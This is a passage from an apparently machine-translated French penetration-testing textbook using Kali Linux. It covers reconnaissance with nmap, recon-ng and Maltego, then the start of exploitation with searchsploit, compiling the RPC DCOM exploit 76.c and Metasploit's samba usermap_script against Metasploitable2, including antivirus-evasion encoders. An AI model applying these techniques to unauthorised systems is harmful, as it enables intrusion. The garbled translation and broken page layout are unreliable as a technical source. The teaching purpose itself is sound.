il reçoit. Dans la capture d'écran suivante, l' indicateur -O
commande nmap pour déterminer
le système d'exploitation. Parce qu'il injecte le paquet dans la
cible, la précision de
la détermination du système d'exploitation par nmap est basée
sur le nombre d'open
ports. Il est généralement efficace pour différencier Windows
des systèmes Unix, mais il peut
ne fournissent pas d'informations très spécifiques, telles que la
différenciation entre les différents Unix
graines. La capture d'écran suivante montre les résultats d'une
analyse nmap d'un Windows
système. Seuls quelques ports sur le système cible sont
disponibles pour les tests, il ne peut donc pas
faire la différence entre Windows 7 entreprise et Windows XP
sp3
Un programme connexe, xprobe2 , utilise différents paquets
TCP, UDP et ICMP pour contourner
pare-feu et éviter la détection par les systèmes IDS/IPS.
xprobe2 utilise également un motif flou
correspondance - le système d'exploitation n'est pas identifié
comme étant définitivement un type ;
au lieu de cela, on lui attribue la probabilité d'être l'une de
plusieurs variantes possibles.
Comme vous pouvez le voir dans la capture d'écran suivante,
cela permet au testeur de tester
les vulnérabilités spécifiques aux variantes du système
d'exploitation ; cette spécificité
augmente les chances de succès et minimise les risques qui
peuvent survenir lorsqu'un
exploit est tenté avec le mauvais outil.

96
chapitre 3
[ 79 ]
Notez qu'il est simple pour le système cible de masquer le
véritable système d'exploitation. Depuis
le logiciel d'empreintes digitales repose sur le paramétrage des
paquets, comme la durée de vie ou la valeur initiale
la taille des fenêtres, les modifications apportées à ces valeurs
ou à d'autres paramètres configurables par l'utilisateur peuvent
changer
les résultats de l'outil. Certaines organisations modifient
activement ces valeurs pour
étapes de reconnaissance plus difficiles.
Détermination des services actifs
L'objectif final de la partie de dénombrement de la
reconnaissance est d'identifier les
services et applications qui sont opérationnels sur le système
cible. Si possible, le
l'attaquant voudrait connaître le type de service, le fournisseur
et la version pour faciliter la
identification de toute vulnérabilité.
Voici quelques-unes des différentes techniques utilisées pour
déterminer les services actifs :
• Identifier les ports et services par défaut : si le système
distant est identifié comme
avoir un système d'exploitation Microsoft avec le port 80
ouvert (le service WWW),
un attaquant peut supposer qu'une installation par défaut de
Microsoft IIS est installée.
Des tests supplémentaires seront utilisés pour vérifier cette
hypothèse ( nmap ).
• Saisie de bannière : Ceci est fait à l'aide d'outils tels que
amap, netcat, nmap ,
et Telnet.
• Examiner les pages Web par défaut : certaines applications
s'installent par défaut
d'administration, d'erreur ou d'autres pages. Si les attaquants y
accèdent, ils
fournir des conseils sur les applications installées qui peuvent
être vulnérables aux attaques.
Dans la capture d'écran suivante, l'attaquant peut facilement
identifier la version de
Apache Tomcat qui a été installé sur le système cible.

97
Reconnaissance active et analyse des vulnérabilités
[ 80 ]
• Vérifiez le code source : des applications Web mal
configurées peuvent
répondre à certaines requêtes HTTP telles que HEAD ou
OPTIONS avec un
réponse qui inclut la version du logiciel du serveur Web et,
éventuellement, le
système d'exploitation de base ou l'environnement de script
utilisé. Dans ce qui suit
capture d'écran, netcat est lancé à partir de la ligne de
commande et utilisé pour envoyer
paquets HEAD bruts vers un site Web particulier. Cette
demande génère une erreur
message ( 404 non trouvé ); cependant, il identifie également
que le serveur est en cours d'exécution
Microsoft IIS, version 7.5.
Employant complet
applications de reconnaissance
Bien que Kali contienne plusieurs outils pour faciliter la
reconnaissance, de nombreux outils
contiennent des entités qui se chevauchent, et l'importation de
données d'un outil dans un autre est
généralement un processus manuel complexe. La plupart des
testeurs sélectionnent un sous-ensemble d'outils et invoquent
eux avec un script.
Les outils complets axés sur la reconnaissance étaient à
l'origine des outils de ligne de commande
avec un ensemble défini de fonctions ; l'un des plus
couramment utilisés était Deepmagic
Outil de collecte d'informations ( DMitry ). DMitry pourrait
effectuer des recherches whois ,
récupérer les informations de netcraft.com, rechercher des
sous-domaines et des adresses e-mail, et
effectuer des analyses TCP. Malheureusement, il n'était pas
extensible au-delà de ces fonctions.
Des avancées récentes ont créé des applications-cadres
complètes qui combinent
reconnaissance passive et active; nous passerons en revue
nmap , recon-ng et maltego .
Page 98
chapitre 3
[ 81 ]
nmap
Traditionnellement, nmap était perçu comme un simple outil
de cartographie fournissant des données
sur la disponibilité de l'hôte et du port, ainsi que quelques
données supplémentaires telles que la probabilité
système d'exploitation des appareils cibles.
Le moteur de script Nmap ( NSE ) a transformé nmap en un
outil qui peut
effectuer une reconnaissance passive et active, et même
effectuer une vulnérabilité de base
numérisation (une liste complète des scripts est disponible sur
http://nmap.org/nsedoc/ ).
Étant donné que les scripts sont écrits dans le langage de script
Lua, il est facile pour le
communauté de tests d'intrusion pour modifier et publier des
scripts. Actuellement, scénarisé
les fonctions incluent les suivantes :
• Reconnaissance des données DNS IPv4 et IPv6
• Identification de la présence de pare-feu d'application Web,
IDS, IPS et autres
contrôles de protection
• Tester les ensembles de règles du pare-feu (via firewalk) et
tenter de contourner
le pare-feu
• Récolte des noms d'utilisateurs des sites cibles et en ligne
• Devinette brutale des mots de passe contre une variété de
services
et candidatures
• Exploration du réseau cible pour identifier les partages réseau
• Extraction de métadonnées EXIF ​ ​ à partir d'images dans
un site Web défini
• Localisation géographique des adresses IP
• Mener des attaques de réseau telles que l'inondation de
paquets IPv6
• Analyse des vulnérabilités, y compris les tests de fuzzing et
d'injection SQL
Comme vous pouvez le voir, la possibilité de scripter les
activités nmap à l' aide d'un langage extensible tel
comme Lua a augmenté l'importance de cet outil.
Un script utile est le vulscan de Marc Ruef
( http://www.computec.ch/mruef/
software/nmap_nse_vulscan-1.0.tar.gz ), qui combine la prise
d'empreintes
fonctionnalité de nmap (en utilisant l' indicateur -sV ) avec des
recherches contre les vulnérabilités majeures, telles que
comme MITRE, OSVDB et SecurityFocus.
Une fois que vous avez téléchargé le package de script,
décompressez le fichier et déplacez le script
fichiers dans usr/share/nmap/scripts .

99
Reconnaissance active et analyse des vulnérabilités
[ 82 ]
Pour invoquer l'un des scripts à partir de la ligne de commande,
utilisez l' indicateur --script et
puis identifiez le nom du script. Un script fréquemment utilisé
est le script général de nmap
scanner de vulnérabilités, lancé à l'aide de la commande
suivante :
root@kali:~# nmap -sV --script=vulscan.nse digitaldefence.ca
Dans ce cas particulier, l'analyse de vulnérabilité n'a identifié
aucune vulnérabilité avec
exploits connus, comme le montre la capture d'écran suivante :
Un script indispensable est le script SpiderLabs pour effectuer
une capture d'écran des services Web.
Il nécessite le téléchargement de l' outil wkhtmltoimage
(http://
wkhtmltopdf.googlecode.com) et placé dans le répertoire
/usr/local/
dossier bin. Le script de capture d'écran lui-même doit ensuite
être téléchargé
(https://github.com/SpiderLabs/Nmap-Tools/blob/
master/NSE/http-screenshot.nse) et placé dans /usr/local/
partager/nmap/scripts. Lorsqu'il est invoqué, ce script produit
un visuel
enregistrement de tous les services Web identifiés, facilitant la
sélection d'un
cible à tester plus tard.
Le cadre de reconnaissance
Le framework recon-ng est un framework open source pour la
conduite
reconnaissance (passive et active).
Comme Metasploit Framework et Social Engineer Toolkit,
recon-ng utilise un
cadre modulaire. Chaque module est un interpréteur cmd
personnalisé , préconfiguré
pour effectuer une tâche précise.
Le framework recon-ng et ses modules sont écrits en Python,
permettant
testeurs d'intrusion pour créer ou modifier facilement des
modules pour faciliter les tests.

100
chapitre 3
[ 83 ]
L' outil de reconnaissance s'appuie sur des API tierces pour
effectuer certaines évaluations ; cette
une flexibilité supplémentaire signifie que certaines activités
entreprises par la reconnaissance peuvent être
suivis par ces parties. Les utilisateurs peuvent spécifier une
chaîne UserAgent personnalisée ou un proxy
demandes pour minimiser l'alerte du réseau cible.
Toutes les données collectées par recon-ng sont placées dans
une base de données, vous permettant de créer
divers rapports par rapport aux données stockées. L'utilisateur
peut sélectionner l'un des rapports
modules pour créer automatiquement soit un rapport CVS, soit
un rapport HTML.
Pour utiliser recon, procédez comme suit :
1. Si recon-ng n'est pas installé sur votre version de Kali, utilisez
le
commande suivante :
apt-get install recon-ng
2. Pour démarrer l'application, entrez recon-ng à l'invite
comme indiqué dans
la capture d'écran suivante. L'écran de démarrage indiquera le
nombre de
modules présents, et la commande help affichera les
commandes
disponible pour la navigation.

101
Reconnaissance active et analyse des vulnérabilités
[ 84 ]
3. Pour afficher les modules disponibles, tapez show à l' invite
recon-ng> . Charger
un module spécifique, tapez load suivi du nom du module.
Frappe
la touche de tabulation lors de la frappe complètera
automatiquement la commande. Si le module a
un nom unique, vous pouvez saisir la partie unique du nom, et
le module
sera chargé sans entrer le chemin complet.
La saisie des informations , comme illustré dans la capture
d'écran suivante, vous fournira
avec des informations sur le fonctionnement du module et où
obtenir les clés API
si nécessaire.

102
chapitre 3
[ 85 ]
4. Une fois que le module est chargé, utilisez le jeu commande
pour définir les options, puis
entrez run pour exécuter, comme indiqué dans la capture
d'écran suivante :
En général, les testeurs s'appuient sur recon-ng pour effectuer
les opérations suivantes :
• Récoltez des contacts à l'aide de whois , jigsaw , linkedin et
twitter
(utilisez le module mangle pour extraire et présenter les
données des e-mails)
• Identifier les hôtes
• Identifier les emplacements géographiques des hôtes et des
individus à l'aide d' hostop ,
ipinfodb , maxmind , uniapple et wigle
• Identifier les informations sur l'hôte à l'aide de netcraft et des
modules associés
• Identifier les informations de compte et de mot de passe qui
ont déjà été
compromis et fuite sur Internet (les modules pwnedlist ,
wascompanyhacked , xssed et punkspider )
Maltego
Maltego ( www.paterva.com ) est une application open source
de renseignement et de médecine légale.
La version communautaire incluse avec Kali fixe des limites sur
la taille des recherches ;
cependant, c'est un excellent outil pour visualiser les relations
entre les données qui utilisent
l'exploration de données et l'analyse des liens.

103
Reconnaissance active et analyse des vulnérabilités
[ 86 ]
Maltego vous permet d'énumérer des informations
personnelles, reliant une personne en particulier
avec une entreprise, des adresses e-mail, des sites Web, des
groupes de réseaux sociaux et un téléphone
Nombres. Il facilite également la reconnaissance passive et
active des informations whois ,
noms de domaine, informations DNS, adresses IP et netblocks.
1. Pour ouvrir l'application, entrez maltego comme invite de
commande. La première fois
vous l'ouvrez, vous devrez vous inscrire et vérifier votre adresse
e-mail
avec Paterva.
2. Une fois que vous avez terminé l'enregistrement et la mise à
jour des transformations,
vous serez présenté avec une interface graphique à plusieurs
volets qui vous permet de
examiner les connexions entre divers objets de données,
comme indiqué dans
la capture d'écran suivante :
Maltego s'appuie sur une série de transformations ou de
modules qui sont stockés dans un
palette sur le côté gauche de l'application. Les transformations
sont sélectionnées par
en les sélectionnant dans la colonne de gauche, puis en les
faisant glisser dans le
centre de l'application.
Par défaut, l'icône peut s'appeler pantera.com lors de sa
sélection initiale ;
cependant, vous pouvez utiliser les zones de manipulation de
données dans la colonne de droite
pour renommer et modifier des données.
Plusieurs transformations différentes existent dans l'édition
communautaire ; ceux-ci sont
triés en plusieurs groupes tels que Périphériques ,
Infrastructure , Personnel ,
Emplacements , tests de pénétration et réseau social , comme
indiqué dans le
capture d'écran suivante :

104
chapitre 3
[ 87 ]
3. Faites glisser la transformation appropriée sur la feuille de
travail et faites un clic droit pour révéler
les transformations qui seront accomplies contre l'identité de
cette transformation.
Gardez à l'esprit que si vous sélectionnez l' option Tout , le
traitement prendra
un temps considérable.
La capacité d'analyser les relations est particulièrement utile
pour
attaques d'ingénierie. Par exemple, si le site Web de la cible
contient plusieurs liens vers
un autre site Web, un attaquant pourrait utiliser cette relation
pour une attaque de phishing.

105
Reconnaissance active et analyse des vulnérabilités
[ 88 ]
Analyse des vulnérabilités
L'analyse des vulnérabilités utilise des processus et des
applications automatisés pour
identifier les vulnérabilités d'un réseau, d'un système, d'un
système d'exploitation ou d'une application
qui peut être exploitable.
Lorsqu'elle est effectuée correctement, une analyse de
vulnérabilité fournit un inventaire des périphériques
(à la fois les appareils autorisés et les appareils malveillants ),
les vulnérabilités connues qui ont été activement
recherché, et généralement une confirmation de la conformité
des appareils avec
diverses politiques et réglementations.
Malheureusement, les analyses de vulnérabilité sont bruyantes
— elles délivrent plusieurs paquets qui sont
facilement détecté par la plupart des contrôles de réseau et
rend la furtivité presque impossible à
réaliser. Ils souffrent également des limitations
supplémentaires suivantes :
• Pour la plupart, les scanners de vulnérabilité sont basés sur
des signatures : ils ne peuvent
détecter les vulnérabilités connues, et seulement s'il existe une
reconnaissance existante
signature que le scanner peut appliquer à la cible. À un testeur
d'intrusion,
les scanners les plus efficaces sont open source et permettent
au testeur de rapidement
modifier le code pour détecter de nouvelles vulnérabilités.
• Les scanners produisent de gros volumes de sortie, contenant
fréquemment de faux
des résultats positifs qui peuvent égarer un testeur ; en
particulier, les réseaux avec
différents systèmes d'exploitation peuvent produire des faux
positifs avec un taux aussi élevé que
soixante-dix pour cent.
• Les scanners peuvent avoir un impact négatif sur le réseau :
ils peuvent créer
latence du réseau ou provoquer la panne de certains appareils
(reportez-vous à la section Réseau
Scanning Watch List sur www.digininja.org , pour les appareils
connus pour échouer en tant que
résultat des tests de vulnérabilité).
• Dans certaines juridictions, la numérisation est considérée
comme du piratage et peut constituer
un acte illégal.
Il existe plusieurs produits commerciaux et open source qui
exécutent la vulnérabilité
scanne. Dans Kali, les outils d'analyse peuvent être trouvés
dans l' analyse de vulnérabilité
sous-menu, ainsi que le menu Web Vulnerability Scanners ;
cependant, le principal
Le scanner de vulnérabilité est Open Vulnerability Assessment
System ( OpenVAS ).
Kali prend en charge l'installation de scanners supplémentaires.
S'il est décidé de sacrifier
furtif pour l'exhaustivité lors des tests, utilisez toujours au
moins deux
scanners pour minimiser les résultats faussement positifs. Les
scanners recommandés incluent
Nexpose ( www.rapid7.com ) et le vénérable Nessus
( www.nessus.org ).

106
chapitre 3
[ 89 ]
Sommaire
Lors de la reconnaissance active, les attaquants sont confrontés
à une chance très réelle de leurs activités
identifiés, les mettant en danger. Cela doit être mis en balance
avec la nécessité de cartographier
un réseau, trouver les ports ouverts et déterminer le système
d'exploitation et les applications
qui sont installés.
Pour réduire les risques, les attaquants doivent adopter des
techniques d'analyse furtives. Manuel
des approches sont utilisées pour créer des analyses lentes ;
cependant, cette approche n'est pas toujours
efficace. Par conséquent, les attaquants profitent d'outils tels
que le réseau Tor et
diverses applications de proxy pour masquer leur identité.
Dans le prochain chapitre, nous nous concentrerons sur
l'analyse des données de la reconnaissance
étapes et à partir d'autres sources, et l'utiliser pour planifier et
exécuter un exploit à distance
contre un réseau ou un système cible. Nous passerons en revue
diverses techniques d'attaque et
outils et se concentrer sur la façon de s'assurer que l'exploit ne
peut pas être détecté par la normale
moyens. Nous examinerons également l'exploitation à distance
en tant que processus continu, une fois que vous
ont compromis une cible, comment tirer parti de ce succès
pour pivoter vers de nouvelles cibles.

107

108
Exploit
Le but de la reconnaissance passive et active est d'identifier la
sécurité exploitable
failles les plus susceptibles de soutenir l'objectif du testeur ou
de l'attaquant (déni de
service, vol ou modification de données). La phase d'exploit de
la kill chain se concentre sur
créer l'accès pour atteindre l'objectif - soit arrêter l'accès à une
cible en
créant un déni de service ou l'approche plus courante
consistant à établir des
l'accès à la cible de l'attaquant.
Le testeur de pénétration doit être concerné par les aspects
suivants de la
phase d'exploitation :
• La cible a-t-elle été entièrement caractérisée ? Si l'attaquant
ne comprend pas le
architecture réseau et hôte de la cible, l'attaque échouera et il
y aura
être un risque accru de détection.
• L'exploit est-il bien connu, avec des actions définies sur le
système cible ?
Un exploit non caractérisé pourrait avoir des conséquences
inattendues lorsque
employés et les dommages qui en résultent pourraient avoir un
impact négatif sur le
processus de test. Les testeurs doivent valider tous les exploits
dans un cadre connu avant
utiliser.
• L'exploit est-il effectué à partir d'un emplacement distant ou
est-il local sur le
système cible ? Un exploit à distance est plus sûr pour
l'attaquant car les chances
d'être positivement identifié sont moindres; cependant, un
exploit local donne
l'attaquant plus de contrôle sur l'action de l'exploit et réduit la
possibilité
de détection.
• Quelles sont les activités post-exploitation requises ? Si
l'attaquant doit
exfiltrer les données de la cible, alors l'exploit doit prendre en
charge l'établissement
une connexion interactive.
• Un accès persistant au système compromis est-il requis, ou
est-ce que le
compromis va être à court terme? Cela entraînera l'exigence de
une approche furtive.

Page 109
Exploit
[ 92 ]
Des milliers de vulnérabilités exploitables ont été identifiées, et
la plupart sont
associé à au moins un code ou une technique de validation de
principe pour permettre au système de
être compromis. Néanmoins, les principes sous-jacents qui
régissent le succès sont les
même sur les réseaux, les systèmes d'exploitation et les
applications.
Dans ce chapitre, vous apprendrez :
• Modélisation des menaces
• Utilisation de ressources de vulnérabilité en ligne et locales
• Exploitation d'une cible distante à l'aide du Framework
Metasploit
• Exploiter plusieurs cibles avec Armitage
• Identifiants de contournement et détection antivirus
Modélisation des menaces
Les phases de reconnaissance passive et active cartographient
le réseau cible et
système et identifier les vulnérabilités pouvant être exploitées
pour atteindre les objectifs de l'attaquant
objectif. Au cours de cette étape de la kill chain de l'attaquant,
il existe une forte tendance à
action : les testeurs veulent lancer immédiatement des exploits
et démontrer qu'ils peuvent
compromettre la cible. Cependant, une attaque imprévue peut
ne pas être la plus efficace
moyen d'atteindre l'objectif, et il peut sacrifier la furtivité qui
est nécessaire pour
atteindre l'objectif de l'attaque.
Les testeurs de pénétration ont adopté (de manière formelle
ou informelle) un processus connu sous le nom de
la modélisation des menaces, qui a été développée à l'origine
par les planificateurs de réseau pour développer
contre-mesures défensives contre une attaque.
Les testeurs de pénétration et les attaquants ont transformé la
modélisation des menaces défensives
méthodologie sur sa tête pour améliorer le succès d'une
attaque. Menace offensive
la modélisation est une approche formelle qui combine les
résultats de la reconnaissance et
recherche pour développer une stratégie d'attaque. Un
attaquant doit tenir compte de la disponibilité
cibles et identifiez le type de cibles répertoriées comme suit :
• Cibles primaires : Ces cibles lorsqu'elles sont compromises,
ces cibles
soutenir immédiatement l'objectif.
• Cibles secondaires : Ces cibles peuvent fournir des
informations (contrôles de sécurité,
les politiques de mot de passe et de journalisation, et les noms
d'administrateur local et de domaine
et mots de passe) pour soutenir une attaque ou autoriser
l'accès à une cible principale.
• Cibles tertiaires : ces cibles peuvent être sans rapport avec le
test ou l'attaque
objectifs, mais sont relativement faciles à compromettre et
peuvent fournir
informations ou une distraction de l'attaque réelle.

Page 110
Chapitre 4
[ 93 ]
Pour chaque type de cible, le testeur doit déterminer
l'approche à utiliser. Un seul
la vulnérabilité peut être attaquée en utilisant des techniques
furtives ou plusieurs cibles peuvent être
attaqué en utilisant un volume d'attaques afin d'exploiter
rapidement une cible. Si une grande échelle
attaque est mise en œuvre, le bruit dans les dispositifs de
contrôle du défenseur provoquera fréquemment
pour minimiser la connexion au routeur et au pare-feu ou
même les désactiver complètement.
L'approche à utiliser guidera la sélection de l'exploit. En général,
les attaquants
suivre une méthodologie d'arbre d'attaque lors de la création
d'un modèle de menace, comme indiqué dans le
schéma suivant :
Faire des compromis
email de l'ingénieur
Compte
Compromis le
serveur de l'ingénieur
Obtenir l'accès
informations d'identification à l'aide
enregistreur de clavier
Exploit connu
débordement de la mémoire tampon vers
obtenir un accès root
Exploit
vulnérabilité dans
l'accès à Internet
interface
Besoin d'acquérir
propriétaire
ingénierie
documents
L'approche de l'arbre d'attaque permet au testeur de visualiser
facilement les options d'attaque qui
sont disponibles et les options alternatives qui peuvent être
utilisées si une attaque sélectionnée est
sans succès. Une fois qu'un arbre d'attaque a été généré, la
prochaine étape de l'exploit
consiste à identifier les exploits pouvant être utilisés pour
compromettre les vulnérabilités dans
la cible.
Utilisation de la vulnérabilité en ligne et locale
Ressources
Ensemble, la reconnaissance passive et active identifie la
surface d'attaque du
cible, c'est-à-dire le nombre total de points pouvant être
évalués pour les vulnérabilités.
Un serveur avec juste un système d'exploitation installé ne
peut être exploité que s'il y a
les vulnérabilités de ce système d'exploitation particulier ;
cependant, le nombre de potentiels
les vulnérabilités augmentent avec chaque application installée.

Page 111
Exploit
[ 94 ]
Les testeurs de pénétration et les attaquants doivent trouver
les exploits particuliers qui
compromettre les vulnérabilités connues et suspectées. Le
premier endroit pour commencer la recherche
est sur les sites des fournisseurs ; la plupart des fournisseurs de
matériel et d'applications publient des informations sur
vulnérabilités lors de la publication de correctifs et de mises à
niveau. Si un exploit pour un particulier
la faiblesse est connue, la plupart des vendeurs le souligneront
à leurs clients. Même si
leur intention est de permettre aux clients de tester la présence
de la vulnérabilité
eux-mêmes, les attaquants et les testeurs d'intrusion
profiteront de cette information
également.
Autres sites en ligne qui collectent, analysent et partagent des
informations sur les vulnérabilités
sont les suivants:
• La base de données nationale sur les vulnérabilités qui
regroupe tous les
données de vulnérabilité publiées par le gouvernement des
États-Unis disponibles sur
http://web.nvd.nist.gov/view/vuln/search
• Secunia disponible sur http://secunia.com/community/
• Open Source Vulnerability Database Project ( OSVDP )
disponible sur
http://www.osvdb.org/search/advsearch
• Sécurité Packetstorm disponible sur
http://packetstormsecurity.com/
• SecurityFocus disponible sur http://www.securityfocus.com/
vulnérabilités
• Inj3ct0r disponible sur http://1337day.com/
• La base de données d'exploitation maintenue par Offensive
Security disponible sur
http://www.db-exploit.com
La base de données des exploits est également copiée
localement dans Kali et se trouve dans le répertoire /usr/
répertoire share/exploitdb . Avant de l'utiliser, assurez-vous
qu'il a été mis à jour
à l'aide de la commande suivante :
cd /usr/share/exploitdb
wget http://www.exploit-db.com/archive.tar.bz2
tar -xvjf archive.tar.bz2
rm archive.tar.bz2
Pour rechercher la copie locale d' exploitdb , ouvrez une
fenêtre de terminal et entrez
searchsploit et le ou les termes de recherche souhaités dans
l'invite de commande. Cette volonté
invoquez un script qui recherche un fichier de base de données
( .csv ) qui contient une liste de tous les exploits.
La recherche renverra une description des vulnérabilités
connues ainsi que le chemin vers
un exploit pertinent. L'exploit peut être extrait, compilé et
exécuté contre des
vulnérabilités. Jetez un œil à la capture d'écran suivante, qui
montre la description
des vulnérabilités :

112
Chapitre 4
[ 95 ]
Le script de recherche analyse chaque ligne du fichier CSV de
gauche à droite, donc
l'ordre des termes de recherche est important - une recherche
d'oracle 10g
renverra plusieurs exploits, mais l'oracle 10g n'en renverra
aucun. Aussi,
le script est étrangement sensible à la casse ; bien qu'on vous
demande d'utiliser
caractères minuscules dans le terme de recherche, une
recherche de Bulletproof
FTP ne renvoie aucun résultat, mais le protocole FTP à
l'épreuve des balles renvoie sept résultats, et
ftp pare-balles ne renvoie aucun résultat. Des recherches plus
efficaces du CSV
peut être effectué à l'aide de la commande grep ou d'un outil
de recherche tel que
KWrite (apt-get install kwrite).
Une recherche dans la base de données locale peut identifier
plusieurs exploits possibles avec un
une description et une liste de chemins ; cependant, ceux-ci
devront être personnalisés en fonction de votre
environnement, puis compilé avant utilisation. Copiez l'exploit
au / tmp répertoire
(le chemin donné ne tient pas compte du fait que le répertoire
/windows/remote
réside dans le répertoire /platforms ).
Les exploits présentés sous forme de scripts tels que Perl, Ruby
et PHP sont relativement faciles à
mettre en place. Par exemple, si la cible est un serveur
Microsoft II 6.0 qui peut être vulnérable
à un contournement d'authentification à distance WebDAV,
copiez l'exploit dans le répertoire racine et
puis exécutez-le comme un script Perl standard, comme illustré
dans la capture d'écran suivante :

Page 113
Exploit
[ 96 ]
De nombreux exploits sont disponibles sous forme de code
source qui doit être compilé avant utilisation.
Par exemple, une recherche de vulnérabilités spécifiques à RPC
identifie plusieurs
exploits. Un extrait est présenté dans la capture d'écran
suivante :
La vulnérabilité RPC DCOM identifiée comme 76.c est connue
en pratique pour être
relativement stable. Nous allons donc l'utiliser comme exemple.
Pour compiler cet exploit, copiez-le
du répertoire de stockage vers le répertoire /tmp . Dans cet
emplacement, compilez en utilisant GCC
avec la commande comme suit :
root@kali:~# gcc 76.c -o 76.exe
Cela utilisera l'application GNU Compiler Collection pour
compiler 76.c dans un fichier avec
le nom de sortie ( -o ) de 76.exe , comme illustré dans la
capture d'écran suivante :
Lorsque vous appelez l'application sur la cible, vous devez
appeler l'exécutable
(qui n'est pas stocké dans le répertoire /tmp ) en utilisant un
lien symbolique comme suit :
root@kali:~# ./76.exe
Le code source de cet exploit est bien documenté et les
paramètres requis sont
clear à l'exécution, comme le montre la capture d'écran
suivante :

114
Chapitre 4
[ 97 ]
Malheureusement, tous les exploits de la base de données
d'exploits et d'autres sources publiques
compilé aussi facilement que 76.c . Il y a plusieurs problèmes
qui rendent l'utilisation de tels
exploits problématiques, voire dangereux, pour les testeurs
d'intrusion répertoriés comme suit :
• Des erreurs délibérées ou un code source incomplet sont
fréquemment rencontrés comme
les développeurs expérimentés tentent de garder les exploits
loin des inexpérimentés
utilisateurs, en particulier les débutants qui essaient de
compromettre les systèmes sans
connaître les risques qui accompagnent leurs actions.
• Les exploits ne sont pas toujours suffisamment documentés ;
après tout, il n'y a pas
norme qui régit la création et l'utilisation du code destiné à être
utilisé
compromettre un système de données. En conséquence, ils
peuvent être difficiles à utiliser,
en particulier pour les testeurs qui manquent d'expertise dans
le développement d'applications.
• Comportements incohérents en raison de l'évolution des
environnements (nouveaux correctifs appliqués
au système cible et les variations de langue dans l'application
cible) peuvent
nécessitent des modifications importantes du code source ;
encore une fois, cela peut nécessiter un
développeur qualifié.
• Il y a toujours le risque de code librement disponible
contenant des
fonctionnalités. Un testeur d'intrusion peut penser qu'il mène
une
preuve de concept ( POC ) et ne sauront pas que l'exploit a
a également créé une porte dérobée dans l'application testée
qui pourrait être utilisée par
le développeur.
Pour garantir des résultats cohérents et créer une communauté
de codeurs qui suivent
pratiques, plusieurs frameworks d'exploitation ont été
développés. Le plus populaire
Le framework d'exploitation est le Framework Metasploit.

Page 115
Exploit
[ 98 ]
Le cadre Metasploit
Le Metasploit Framework ( MSF ) est un outil open source
conçu pour faciliter
tests de pénétration. Écrit dans le langage de programmation
Ruby, il utilise un
approche pour faciliter les exploits. Cela facilite le
développement et le codage des exploits,
et il permet également de mettre en œuvre facilement des
attaques complexes.
MSF peut présenter plusieurs interfaces aux modules backend
qui contrôlent
exploitation (console, CLI et web). Nous utiliserons l'interface
de la console pour sa rapidité,
car il présente les commandes d'attaque, et il a la configuration
requise
paramètres dans une interface facile à comprendre. Pour
accéder à cette interface, entrez
msfconsole dans une invite de commande ou sélectionnez-le
dans un menu déroulant tel que
Les 10 meilleurs outils de sécurité . La capture d'écran suivante
montre l'écran de démarrage lorsque le
l'application se lance :
Le MSF se compose de modules qui sont combinés pour
affecter un exploit. Les modules
et leurs fonctions spécifiques sont les suivantes :
• Exploits : Les fragments de code qui ciblent des vulnérabilités
spécifiques. actif
les exploits exploiteront une cible spécifique, s'exécuteront
jusqu'à ce qu'ils soient terminés, puis quitteront
(par exemple, un débordement de buffer). Les exploits passifs
attendent les hôtes entrants,
tels que les navigateurs Web ou les clients FTP, et les exploiter
lorsqu'ils se connectent.
• Payloads : Ce sont les codes malveillants qui implémentent
les commandes
immédiatement après une exploitation réussie.

116
Chapitre 4
[ 99 ]
• Modules auxiliaires : Ces modules n'établissent ou ne
prennent pas directement en charge
accès entre le testeur et le système cible ; au lieu de cela, ils
exécutent
fonctions connexes telles que la numérisation, le fuzzing ou le
reniflement qui prennent en charge le
phase d'exploitation.
• Post modules : Suite à une attaque réussie, ces modules
s'exécutent sur
cibles compromises pour recueillir des données utiles et faire
pivoter l'attaquant plus profondément
dans le réseau cible. Nous en apprendrons plus sur les modules
post dans
Chapitre 5 , Post Exploit – Action sur l'objectif .
• Encodeurs : lorsque les exploits doivent contourner les
défenses antivirus, ces modules
coder la charge utile afin qu'elle ne puisse pas être détectée à
l'aide de la correspondance de signature
technique.
• Pas d'opérations ( NOP ) : elles sont utilisées pour faciliter les
débordements de tampon
lors d'attaques.
Ces modules sont utilisés ensemble pour effectuer des
reconnaissances et lancer des attaques
contre des cibles. Les étapes d'exploitation d'un système cible à
l'aide de MSF peuvent être
résumé comme suit :
1. Choisissez et configurez un exploit (le code qui compromet
un
vulnérabilité sur le système cible).
2. Vérifiez le système cible pour déterminer s'il est susceptible
d'être attaqué par le
exploit. Cette étape est facultative et est généralement omise
pour minimiser le
détection.
3. Choisissez et configurez la charge utile (le code qui sera
exécuté sur le
système cible après une exploitation réussie. Par exemple, un
inverse
shell du système compromis vers la source).
4. Choisissez une technique d'encodage pour contourner les
contrôles de détection (ID/IP ou
Logiciel antivirus).
5. Exécutez l'exploit.
L'exemple suivant représente une attaque simple contre la
cible basée sur Linux
système d'exploitation Metasploitable2. Il est disponible en
ligne sur http://sourceforge.
net/projects/metasploitable/files/Metasploitable2 .
Metasploitable2
a été conçu pour être vulnérable aux attaques, et il contient
des éléments connus et caractérisés
vulnérabilités qui fournissent une plate-forme standard pour la
formation et la validation
exploiter les outils.

Page 117
Exploit
[ 100 ]
Lorsqu'il est installé en tant que machine virtuelle (couvert
dans l' annexe , Installation de Kali Linux ),
Metasploitable peut être scanné à l'aide de nmap , qui identifie
les ports ouverts et associés
applications. Un extrait de l' analyse nmap est présenté dans la
capture d'écran suivante :
Plusieurs applications ont été identifiées par nmap dans
l'exemple précédent. En tant que testeur,
nous devrions enquêter sur chacun pour toute vulnérabilité
connue. L'un des premiers endroits
pour commencer, c'est la propre collection d'exploits de
Metasploit. Cela peut être recherché à partir du
ligne de commande suivante en utilisant :
msf> rechercher samba
Les exploits renvoyés pour le service samba sont répertoriés et
chacun d'eux est attribué
un classement relatif de leur succès dans la réalisation d'un
exploit. Ce qui suit
la capture d'écran montre un extrait des exploits de samba
disponibles :

Page 118
Chapitre 4
[ 101 ]
L' exploit exploit/multi/samba/usermap_script a été
sélectionné pour être utilisé dans
le reste de cet exemple car il est classé comme excellent. Ce
classement était
déterminé par l'équipe de développement de Metasploit et
identifie la fiabilité du
exploit fonctionne pour un testeur qualifié contre un système
cible stable. Dans la vraie vie, plusieurs
variables (compétences du testeur, protections sur le réseau,
modifications du
système d'exploitation et applications hébergées) peuvent
fonctionner ensemble pour modifier considérablement
la fiabilité de l'exploit.
Des informations supplémentaires relatives à cet exploit ont
été obtenues à l'aide de ce qui suit
commande info :
msf> info exploit/multi/samba/usermap_script
Les informations renvoyées incluent les références ainsi que les
informations affichées dans le
capture d'écran suivante :

Page 119
Exploit
[ 102 ]
Pour indiquer à Metasploit que nous allons attaquer la cible
